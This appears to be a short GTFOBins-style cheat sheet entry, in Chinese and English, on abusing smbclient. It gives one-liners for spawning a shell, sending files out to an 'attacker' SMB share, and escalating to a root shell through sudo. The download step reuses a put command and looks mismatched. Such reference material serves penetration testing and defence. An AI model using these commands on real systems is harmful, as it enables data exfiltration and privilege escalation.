用来生成一个交互式的系统shell。
smbclient '\\attacker\share'
!/bin/sh
上传文件到外部。
sudo smbserver.py share /tmp
on the attacker box to collect the file. smbclient '\\attacker\share' -c 'put 要发送的文件 where_to_save'
下载远程文件。
sudo smbserver.py share /tmp
on the attacker box to send the file. smbclient '\\attacker\share' -c 'put 要发送的文件 where_to_save'
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo smbclient '\\attacker\share'
!/bin/sh